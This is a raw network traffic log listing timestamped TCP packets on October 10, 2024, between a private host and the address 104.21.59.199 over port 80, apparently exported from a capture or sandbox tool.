Oct 10, 2024 21:03:07.459146023 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.459381104 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.459430933 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.459716082 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.459817886 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.459922075 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.459979057 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460134983 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460314035 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460391998 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460553885 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460566998 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460625887 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460726023 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460902929 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.460911036 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461008072 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461015940 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461076021 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461083889 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461126089 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461170912 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461265087 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.461272001 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.464080095 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.464567900 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.464615107 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.464622021 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.464629889 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.778572083 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.802371025 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.812500954 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.812592030 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.194130898 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.200077057 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.200170040 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.201709032 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.206624985 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.672961950 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.673592091 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.673801899 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.678812981 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.678869963 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.678898096 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.678951979 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.678951979 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.678983927 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679011106 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.679042101 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.679044008 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679070950 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679097891 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679104090 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.679132938 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.679147005 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679161072 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.679176092 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.679224014 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.683731079 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.683803082 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684056997 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684156895 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684165955 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684186935 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684215069 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684216976 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684245110 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684246063 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684273005 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684298992 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684391975 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684489965 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.684901953 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.684979916 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.685086966 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.685164928 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.689115047 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689184904 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:08.689296961 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689331055 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689384937 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689451933 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689498901 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689568043 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689620018 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689654112 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689722061 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.689878941 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690047979 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690097094 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690128088 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690154076 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690201044 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690227032 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690257072 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690304995 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690331936 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690361023 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.690459967 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.694413900 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.694441080 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:08.694470882 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.033313036 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.040491104 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.046502113 CEST	80	50671	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.046587944 CEST	50671	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.161931992 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.167154074 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.167263985 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.167598009 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.172888994 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.630937099 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.631690025 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.631799936 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.636759043 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.636857986 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.636890888 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.636936903 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.636938095 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.636986971 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.636992931 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637021065 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637047052 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637048006 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.637078047 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.637078047 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637108088 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637108088 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.637140036 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.637151003 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.637192011 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.641499996 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.641576052 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.641963005 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642030001 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642076015 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642107010 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642139912 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642155886 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642170906 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642189026 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642221928 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642257929 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642261028 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642327070 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642371893 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642399073 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642424107 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642438889 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642493010 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642493010 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.642788887 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.642858982 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.646507978 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.646580935 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.646980047 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647043943 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.647279024 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647315025 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647429943 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647464037 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647520065 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647582054 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647608042 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647696972 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647805929 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647835016 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647865057 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.647890091 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648058891 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648088932 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648114920 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648140907 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648175955 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648200989 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648246050 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.648272038 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.651962996 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.652103901 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.652131081 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.652158976 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.652190924 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.963325977 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.971668959 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:09.977328062 CEST	80	50672	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:09.977400064 CEST	50672	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.163089037 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.168327093 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.168446064 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.182686090 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.187879086 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.633450031 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.681176901 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.747036934 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.747226954 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753726959 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753762007 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753788948 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753820896 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753858089 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753885031 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753911972 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753938913 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753942966 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753968954 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.753968954 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753993988 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.753995895 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.754019976 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.754020929 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.754045963 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.754046917 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.754071951 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.754098892 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.756875992 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.756942034 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759018898 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759044886 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759073019 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759094000 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759098053 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759129047 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759145021 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759155989 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759176970 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759207010 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759212971 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759239912 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759299040 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759371996 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759414911 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759442091 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.759464025 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.759915113 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.762290001 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.762358904 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.764534950 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764561892 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764586926 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:10.764588118 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764619112 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764643908 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764668941 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764715910 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764740944 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764766932 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764791965 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764817953 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764842987 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.764873028 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765007973 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765033007 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765079021 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765105009 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765130043 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765160084 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765186071 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765229940 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765255928 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.765280962 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.767321110 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.769085884 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.769160032 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.769188881 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:10.769892931 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.068147898 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.082421064 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.090158939 CEST	80	50673	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.090239048 CEST	50673	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.210758924 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.218236923 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.218321085 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.218683004 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.226037979 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.929389000 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.930044889 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.930351019 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.930860043 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.930960894 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.935878038 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936058998 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936106920 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936135054 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936162949 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936176062 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.936176062 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.936223984 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.936252117 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936278105 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936304092 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.936309099 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.936343908 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.937380075 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.937453032 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.940905094 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.940932035 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.940964937 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941009045 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941272020 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941298962 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941324949 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941328049 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941354036 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941354990 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941380024 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941380978 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941405058 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941426992 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.941492081 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.941585064 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.942559958 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.942620039 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.946008921 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946084976 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.946280956 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946337938 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946371078 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946455002 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946480989 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946540117 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:11.946608067 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946655035 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946808100 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946834087 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.946947098 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947559118 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947586060 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947614908 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947659016 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947704077 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947730064 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.947755098 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.948014975 CEST	80	50674	104.21.59.199	192.168.2.4
